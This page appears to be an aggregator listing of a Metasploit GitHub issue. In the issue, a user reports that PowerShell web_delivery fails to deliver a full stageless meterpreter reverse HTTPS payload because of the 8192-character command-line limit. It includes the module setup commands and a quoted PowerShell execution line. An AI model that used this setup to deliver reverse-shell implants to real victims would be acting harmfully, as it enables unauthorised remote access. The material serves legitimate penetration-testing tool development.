web_delivery + PSH should support full stageless payloads without command line limits

Open
#9,550 7 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
3-5 days
Newbie friendliness
35/100
Issue type
Bug
Clarity
Mostly clear
Activity status
Stale
Tech stack
powershell, ruby
Domain
security

Research direction

Start with the multi/script/web_delivery module and the PowerShell execution path that raises the 8192-character exception, especially the Process.Start($s) method shown in the report. Reproduce the failure with a full windows/x64/meterpreter_reverse_https payload, then trace the existing remove_comspec and exec_in_place behavior. Done means full stageless payload delivery through IEX without the command-line length failure, with coverage for the reported case.

Written by the indexing model from the issue text.

Description

enhancement

I was expecting to deliver full stageless payloads with PSH + web_delivery but it seems there is a command line limit restriction in the way.

use multi/script/web_delivery

set TARGET 2
set payload windows/x64/meterpreter_reverse_https
set EXTENSIONS stdapi,priv
set LHOST a.b.c.d
set LPORT xxx
set exitonsession false
set URIPATH /test

well, it really doesn't matter adding stdapi and priv, with the full metsrv is enough to break the command line limit

when downloading payload from /test URI

web_delivery - Exception handling request: Powershell command length is greater than the command line maximum (8192 characters)

problem is downloaded execution method tries to run a command line along the way

$p=[System.Diagnostics.Process]::Start($s);

I don't clearly see why there should be this command line restriction when we are already running powershell code victim side and we are able to execute whatever powershell script we download with IEX

Am I missing something obvious here?

I'm using latest dev version

I've already tried Powershell::remove_comspec and Powershell::exec_in_place with same results.
Maybe generated payload should be smarter in this case and not use command line as it will be executed by IEX anyway no matter how large it is.

Dominant language
Ruby
Stars
39k
Forks
15k
Avg merge
5d 6h
Merged PRs (30d)
32

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from rapid7/metasploit-framework

All issues in rapid7/metasploit-framework

Similar issues

More Ruby issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.